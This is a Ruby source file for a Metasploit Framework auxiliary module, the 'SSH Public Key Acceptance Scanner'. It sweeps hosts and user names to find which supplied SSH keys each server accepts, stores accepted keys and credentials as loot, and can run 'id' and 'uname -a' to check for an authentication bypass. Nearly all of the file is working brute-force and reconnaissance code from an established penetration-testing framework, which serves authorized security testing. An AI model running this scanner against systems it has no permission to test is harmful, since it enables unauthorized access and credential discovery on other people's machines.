## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'net/ssh' require 'sshkey' # TODO: Actually include this! class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report def initialize super( 'Name' => 'SSH Public Key Acceptance Scanner', 'Description' => %q{ This module can determine what public keys are configured for key-based authentication across a range of machines, users, and sets of known keys. The SSH protocol indicates whether a particular key is accepted prior to the client performing the actual signed authentication request. To use this module, a text file containing one or more SSH keys should be provided. These can be private or public, so long as no passphrase is set on the private keys. If you have loaded a database plugin and connected to a database this module will record authorized public keys and hosts so you can track your process. Key files may be a single public (unencrypted) key, or several public keys concatenated together as an ASCII text file. Non-key data should be silently ignored. Private keys will only utilize the public key component stored within the key file. }, 'Author' => ['todb', 'hdm'], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(22), OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]), OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.']), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') @good_credentials = {} @good_key = '' @strip_passwords = true end def key_dir datastore['KEY_DIR'] end def rport datastore['RPORT'] end def ip datastore['RHOST'] end def read_keyfile(file) if file == :keyfile_b64 keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first elsif file.kind_of? Array keyfile = '' file.each do |dir_entry| next unless ::File.readable? dir_entry keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)} end else keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)} end keys = [] this_key = [] in_key = false keyfile.split("\n").each do |line| if line =~ /ssh-(dss|rsa)\s+/ keys << line next end in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/) this_key << line if in_key if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/) in_key = false keys << (this_key.join("\n") + "\n") this_key = [] end end if keys.empty? print_error "#{ip}:#{rport} SSH - No valid keys found" end return validate_keys(keys) end # Validates that the key isn't total garbage, and converts PEM formatted # keys to SSH formatted keys. def validate_keys(keys) keepers = [] keys.each do |key| if key =~ /ssh-(dss|rsa)/ keepers << key next else # Use the mighty SSHKey library from James Miller to convert them on the fly. ssh_version = SSHKey.new(key).ssh_public_key rescue nil keepers << ssh_version if ssh_version next end # Needs a beginning next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m # Needs an end next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m # Shouldn't have binary. next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty? # Add more tests to taste. keepers << key end if keepers.empty? print_error "#{ip}:#{rport} SSH - No valid keys found" end return keepers.uniq end def pull_cleartext_keys(keys) cleartext_keys = [] keys.each do |key| next unless key next if key =~ /Proc-Type:.*ENCRYPTED/ this_key = key.gsub(/\x0d/,"") next if cleartext_keys.include? this_key cleartext_keys << this_key end if cleartext_keys.empty? print_error "#{ip}:#{rport} SSH - No valid cleartext keys found" end return cleartext_keys end def do_login(ip, port, user) if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) keys = read_keyfile(datastore['KEY_FILE']) cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? keys = read_keyfile(:keyfile_b64) cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." elsif datastore['KEY_DIR'] return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) unless @key_files @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/} end these_keys = @key_files.map {|f| File.join(key_dir,f)} keys = read_keyfile(these_keys) cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." else return :missing_keyfile end unless @alerted_with_msg print_status msg @alerted_with_msg = true end cleartext_keys.each_with_index do |key_data,key_idx| key_info = "" if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/ key_info = "- #{$3.strip}" end accepted = [] opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => port, :key_data => key_data, :disable_agent => true, :record_auth_info => true, :skip_private_keys => true, :config =>false, :accepted_key_callback => Proc.new {|key| accepted << key }, :proxies => datastore['Proxies'] } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) { ssh_socket = Net::SSH.start(ip, user, opt_hash) } rescue nil if datastore['SSH_BYPASS'] and ssh_socket data = nil print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...") begin ::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s } rescue ::Exception end print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data end ::Timeout.timeout(1) { ssh_socket.close if ssh_socket } rescue nil rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect rescue Net::SSH::AuthenticationFailed rescue Net::SSH::Exception => e return [:fail,nil] # For whatever reason. end if accepted.length == 0 if @key_files print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}" else print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}" end end accepted.each do |key| print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}" do_report(ip, rport, user, key, key_data) end end end def do_report(ip, port, user, key, key_data) return unless framework.db.active keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data) cred_hash = { :host => ip, :port => rport, :sname => 'ssh', :user => user, :pass => keyfile_path, :source_type => "user_supplied", :type => 'ssh_pubkey', :proof => "KEY=#{key[:fingerprint]}", :duplicate_ok => true, :active => true } this_cred = report_auth_info(cred_hash) end def existing_loot(ltype, key_id) framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first end def store_keyfile(ip,user,key_id,key_data) safe_username = user.gsub(/[^A-Za-z0-9]/,"_") ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil return unless ktype ktype = "dsa" if ktype == "dss" ltype = "host.unix.ssh.#{user}_#{ktype}_public" keyfile = existing_loot(ltype, key_id) return keyfile.path if keyfile keyfile_path = store_loot( ltype, "application/octet-stream", # Text, but always want to mime-type attach it ip, (key_data + "\n"), "#{safe_username}_#{ktype}.pub", key_id ) return keyfile_path end def run_host(ip) # Since SSH collects keys and tries them all on one authentication session, it doesn't # make sense to iteratively go through all the keys individually. So, ignore the pass variable, # and try all available keys for all users. each_user_pass do |user,pass| ret, proof = do_login(ip, rport, user) case ret when :connection_error vprint_error "#{ip}:#{rport} SSH - Could not connect" :abort when :connection_disconnect vprint_error "#{ip}:#{rport} SSH - Connection timed out" :abort when :fail vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" when :missing_keyfile vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile" when :no_valid_keys vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile" end end end end